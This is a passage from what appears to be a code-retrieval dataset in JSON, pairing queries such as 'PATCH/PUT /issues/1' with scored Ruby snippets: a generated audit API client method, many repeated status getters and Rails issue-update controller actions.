"text": "def get_audits_query_transaction_id_with_http_info(transaction_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuditApi.get_audits_query_transaction_id ...\"\n end\n \n \n # verify the required parameter 'transaction_id' is set\n fail ArgumentError, \"Missing the required parameter 'transaction_id' when calling AuditApi.get_audits_query_transaction_id\" if transaction_id.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/audits/query/{transactionId}\".sub('{format}','json').sub('{' + 'transactionId' + '}', transaction_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditQueryExecutionStatusResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditApi#get_audits_query_transaction_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
}
] |
[
{
"docid": "e101a3903369f195369a7f56a94a6788",
"score": "0.6743079",
"text": "def cmd_status()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "87f0d8579c2b55561519ea9bf060f6a5",
"score": "0.67123395",
"text": "def audit\n @limit = (params[:limit].blank? ? 20 : params[:limit].to_i)\n @offset = (params[:offset].blank? ? 0 : params[:offset].to_i)\n @count = ViewJobStatus.count\n @job_stati = ViewJobStatus.limit(@limit).offset(@offset).order(\"last_transaction_timestamp DESC\")\n end",
"title": ""
},
{
"docid": "b2ab3b13a5e0ae2d91eae72220417d25",
"score": "0.6669028",
"text": "def query_status\n @attributes[:query_status]\n end",
"title": ""
},
{
"docid": "ed23b0a3184270db28a50f9466d4a7f8",
"score": "0.6576174",
"text": "def status\n # Initialize nil values to something meaningful\n @status ||= :not_executed\n return @status\n end",
"title": ""
},
{
"docid": "9782247cc95603159c5acef2ffa584aa",
"score": "0.6548798",
"text": "def logged_audit_status\n audit_results = ChecksumAuditLog.logs_for(id, \"original_file\")\n .collect { |result| result[\"pass\"] }\n\n if audit_results.length > 0\n stat_to_string(audit_results.reduce(true) { |sum, value| sum && value })\n else\n 'Audits have not yet been run on this file.'\n end\n end",
"title": ""
},
{
"docid": "952b4743b2d3164376d5b9956be9c461",
"score": "0.6541712",
"text": "def result_status()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "d9d2e2a06ef563fda309ae931e83f38f",
"score": "0.6508452",
"text": "def transaction_status()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "123624c530868d6e9df97935a83b7d56",
"score": "0.65013206",
"text": "def query_status\n @queries.map { |query| [query.want, query.done?] }.to_h\n end",
"title": ""
},
{
"docid": "544ca7b0a7aa971166f298947023869e",
"score": "0.65010643",
"text": "def status\n # Initialize a nil value to something meaningful\n @status ||= :not_executed\n @status\n end",
"title": ""
},
{
"docid": "c005c8702776220856fedafb0966f8a2",
"score": "0.64933723",
"text": "def status\n execute('status') do\n if @experiment.preparing?\n return status_prepare_action\n elsif @experiment.started?\n return status_experiment_action\n end\n end\n end",
"title": ""
},
{
"docid": "e1efd05a1205ba3c16dd73ae6ea6e332",
"score": "0.6469821",
"text": "def status\r\n #initialize nil values to something meaningful\r\n @status||=:not_executed\r\n return @status\r\n end",
"title": ""
},
{
"docid": "b7b9208212c8ef8b8bc83d58e1fa8a07",
"score": "0.6458407",
"text": "def status\n if !@status\n @status =\n if results.empty?\n 'notrun'\n else\n Result.summary_status(results.collect { |r| r.status } )\n end\n end\n @status\n end",
"title": ""
},
{
"docid": "446e55315f75c7e56d1921f753cb2b95",
"score": "0.6392152",
"text": "def status\n unless @status\n @status =\n if results.empty?\n 'notrun'\n else\n Result.summary_status(results.collect(&:status))\n end\n end\n @status\n end",
"title": ""
},
{
"docid": "fbcf1b724209f70387ecb9762a7fe71c",
"score": "0.6366153",
"text": "def status()\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6330433",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.63297915",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6328979",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6328979",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6328979",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6328979",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6328979",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6328979",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "577044049aadba142da024728d77b581",
"score": "0.6328979",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "34d48bdeb3a83da14eb9378a4abaf11f",
"score": "0.62778527",
"text": "def info(status)\n calculate_explain\n @result.info(status)\n end",
"title": ""
},
{
"docid": "d66da52ead199dc93d26a140a4c1c5dc",
"score": "0.627156",
"text": "def human_readable_audit_status\n stat = audit_stat\n case stat\n when 0\n 'failing'\n when 1\n 'passing'\n else\n stat\n end\n end",
"title": ""
},
{
"docid": "a85eaee7a9a829250f4fd21fcaabddcb",
"score": "0.62592727",
"text": "def get_status\n @status\n end",
"title": ""
},
{
"docid": "a85eaee7a9a829250f4fd21fcaabddcb",
"score": "0.62592727",
"text": "def get_status\n @status\n end",
"title": ""
},
{
"docid": "101266bf69edfd34ee21384362cbf53b",
"score": "0.6237039",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "101266bf69edfd34ee21384362cbf53b",
"score": "0.6237039",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "3cbdecf966d743ca5e882b5cf3f5f0ea",
"score": "0.6213257",
"text": "def status \n#--{{{\n init_logging\n @options['snapshot'] = true\n statuslister = StatusLister::new self\n statuslister.statuslist\n#--}}}\n end",
"title": ""
},
{
"docid": "9a63d166bb8e48e6b941e27c0f2be44d",
"score": "0.61982596",
"text": "def execution_status(execution_plan_id = nil)\n {}\n end",
"title": ""
},
{
"docid": "9a63d166bb8e48e6b941e27c0f2be44d",
"score": "0.61982596",
"text": "def execution_status(execution_plan_id = nil)\n {}\n end",
"title": ""
},
{
"docid": "b6256824371f13eee6fc64f0c95374ad",
"score": "0.6190821",
"text": "def status\n @status\n end",
"title": ""
},
{
"docid": "ea6d2b6af4dd29a57675589c9da77efd",
"score": "0.6178386",
"text": "def status\n @status.state\n end",
"title": ""
},
{
"docid": "646ae14c589db9845c17bcd513969e06",
"score": "0.6161336",
"text": "def status\n AggregateResultComparisonGroup.summary_status(results.collect {|r| r.status} )\n end",
"title": ""
},
{
"docid": "a4497dbfe0b32f41d977e42e083128f8",
"score": "0.6146303",
"text": "def status\n @server.get_run_attribute(@uuid, @links[:status])\n end",
"title": ""
},
{
"docid": "6b286875e4dce113ebb4b53ce8380a0f",
"score": "0.61351836",
"text": "def last_status; end",
"title": ""
},
{
"docid": "2ae58639d4966023aa8d9809453a7d21",
"score": "0.61313915",
"text": "def status\n @proc.status()\n end",
"title": ""
},
{
"docid": "62e530cbe5fbf3f820d052eeae449d0f",
"score": "0.6131001",
"text": "def get_status()\n # If we know the choreo has completed, simply return its result status.\n if @completion_status\n return @completion_status\n end\n\n response = JSON.load(@session.get_request(get_path()).body())\n curr_status = response[\"execution\"][\"status\"]\n @status = curr_status\n\n # If choreo has completed since last status check, return results.\n if curr_status != \"RUNNING\"\n result_resp = @session.get_request(get_path(), {\"view\" => \"outputs\"})\n @completion_status = curr_status\n @result_set = Choreography::ResultSet.new(result_resp.body())\n end\n return @status\n end",
"title": ""
},
{
"docid": "86a6ed89ddb5bb1a458a6d6acdf4b1d6",
"score": "0.6112908",
"text": "def status\n filter!\n @reporter.status\n end",
"title": ""
},
{
"docid": "57e7ba4af2d9765b422e7ec85854b3b5",
"score": "0.6112618",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "52753d9b58a56b872ead61b695e8c6a0",
"score": "0.60993487",
"text": "def status()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "75a7583011e66d4eefb8aec23d544644",
"score": "0.6095223",
"text": "def status\n @_status\n end",
"title": ""
},
{
"docid": "0228e099c9168bf07baef1a6492e7fbe",
"score": "0.6087019",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "ed6026e7d12fda2525796cfbffd2ac9b",
"score": "0.6085497",
"text": "def retrieve_status\n \n end",
"title": ""
},
{
"docid": "6b61786b0c72d82686b5354bd31cb227",
"score": "0.6082561",
"text": "def get_status\n status = {\n \"time\" => Time.now,\n \"current\" => @current,\n \"current_estimate\" => @current_estimate,\n \"last_changed\" => @last_change_ts,\n \"results\" => @last_results,\n }\n return status\n end",
"title": ""
},
{
"docid": "735b50c5ff8b5bd15705f5d013c41479",
"score": "0.6081517",
"text": "def snapshot_status\n @snapshot_status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
},
{
"docid": "c47ada21e2cbec753ea40a5fcda5c8b5",
"score": "0.6069005",
"text": "def status\n return @status\n end",
"title": ""
}
] |
fd8bc44b1ba6943ff7e0ab424c5ffa91
|
PATCH/PUT /issues/1 PATCH/PUT /issues/1.json
|
[
{
"docid": "f3601ee36b54549331eb5f2301277eda",
"score": "0.61820465",
"text": "def update\n error = \"\"\n @title = params[:title]\n respond_to do |format|\n if (!['Task', 'Bug','Enhancement','Proposal'].include? params[:category])\n error += \"Invalid on category. \"\n end\n if (!['Trivial', 'Minor','Major','Critical','Blocker'].include? params[:priority] )\n error += \"Error on priority. \"\n end\n if (!['Opened', 'Closed','Resolved','On holded','Duplicated','Invalid','Wontfixed'].include? params[:status] )\n error += \"Error on status. \"\n end\n if (!User.find_by(name: params[:assignee]))\n error += \"Unexisting user to assign the issue. \"\n end\n if error != \"\"\n format.html { \n @issue.update(issue_params)\n @issue.update(issue: @title)\n redirect_to @issue, notice: 'Issue was successfully updated.'\n }\n format.json { render :json => {:error => error, :status => 400}, :status => :bad_request }\n else\n @issue.update(issue_params)\n @issue.update(issue: @title)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "3b17232e6a4d031c66f0dfcfc5591b23",
"score": "0.7040891",
"text": "def update \n # this where post is passed through to return update\n\n @issue = Issue.find(params[:id])\n @issue.update(issue_params) #(name: params[\"issue\"][\"description\"])\n @issue.save\n render json: @issue\n\n # ----OR----\n # issue.update_attributes(issues_param)\n end",
"title": ""
},
{
"docid": "452453651cc2260bc5ff3fc2a947edad",
"score": "0.70207095",
"text": "def update\n update_resource_response(@issue, issue_params)\n end",
"title": ""
},
{
"docid": "4c90377c1c0c92ca8becb0ba5cdf0cd9",
"score": "0.6991777",
"text": "def update\n # raise params.inspect\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to issues_path, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "159bf9009e3334505d5a24ae602dd6e3",
"score": "0.6981861",
"text": "def edit_issue(issue_num,params)\n RestClient.proxy = @proxy\n\n url = @github_api_url + \"/repos\" + @github_repo + \"/issues/#{issue_num}\"\n headers = {:accept => :json, :content_type => :json, :authorization => \"Bearer #{@gitub_token}\"}\n\n begin\n r = RestClient.patch url, params.to_json, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n issue = JSON.parse(r.body)\n #puts \"issue is created. response is #{JSON.pretty_generate(issue)}\"\n return issue\n end",
"title": ""
},
{
"docid": "561ff646c044d3bc1260fccfe23db0b1",
"score": "0.6952431",
"text": "def update\n # @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "27c3746fe2a4a10e93736938183c4f91",
"score": "0.69168",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, :notice => 'Issue was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @issue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96363cefed700556dbd4a7c3da01a9b9",
"score": "0.6900118",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96363cefed700556dbd4a7c3da01a9b9",
"score": "0.6900118",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96363cefed700556dbd4a7c3da01a9b9",
"score": "0.6900118",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96363cefed700556dbd4a7c3da01a9b9",
"score": "0.6900118",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96363cefed700556dbd4a7c3da01a9b9",
"score": "0.6900118",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab994ee3ba6d467e146d8053ff07fb41",
"score": "0.6821036",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab994ee3ba6d467e146d8053ff07fb41",
"score": "0.6821036",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab994ee3ba6d467e146d8053ff07fb41",
"score": "0.6821036",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab994ee3ba6d467e146d8053ff07fb41",
"score": "0.6821036",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab994ee3ba6d467e146d8053ff07fb41",
"score": "0.6821036",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0f6118a23f61e03641940f01c3195ca",
"score": "0.67901117",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to root_path, notice: 'Issue was successfully updated.' }\n format.json { render :index, status: :ok, location: root_path }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ffeccb7f20323cc821a41c5f24fda89",
"score": "0.6786407",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fcf50435f7817ff482774118032d2db",
"score": "0.67829216",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :ok }\n else\n @clients = Client.all\n @doctors = Doctor.all\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f8499be2ed01f8f6c0b646a8a46612e",
"score": "0.67777574",
"text": "def edit_issue(owner, repo, number, options={})\n patch \"/repos/#{owner}/#{repo}/issues/#{number}\", :body => options\n end",
"title": ""
},
{
"docid": "33d9e391c23cb2ea488fa854520a92b4",
"score": "0.6768468",
"text": "def update\n @issue = current_user.organization.issues.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to issues_url, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "865aac95a45086ba811025f8c80ee207",
"score": "0.67648166",
"text": "def update\n p = {}\n if issue_params[:name] != @issue.name\n p[:name] = issue_params[:name]\n end\n if issue_params[:description] != @issue.description\n p[:description] = true\n end\n if issue_params[:tracker_id].to_i != @issue.tracker_id\n p[:tracker_id] = issue_params[:tracker_id]\n end\n if issue_params[:priority_id].to_i != @issue.priority_id\n p[:priority_id] = issue_params[:priority_id]\n end\n if issue_params[:status_id].to_i != @issue.status_id\n p[:status_id] = issue_params[:status_id]\n end\n if issue_params[:assignee_id].to_i != @issue.assignee_id\n p[:assignee_id] = issue_params[:assignee_id]\n end\n\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n @issue.create_activity(:update, owner: current_user, issue_id: @issue.id, parameters: p)\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9cffcbd63c488e30cbd6402126fbe3e",
"score": "0.67307675",
"text": "def update\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Edicao atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.6709824",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
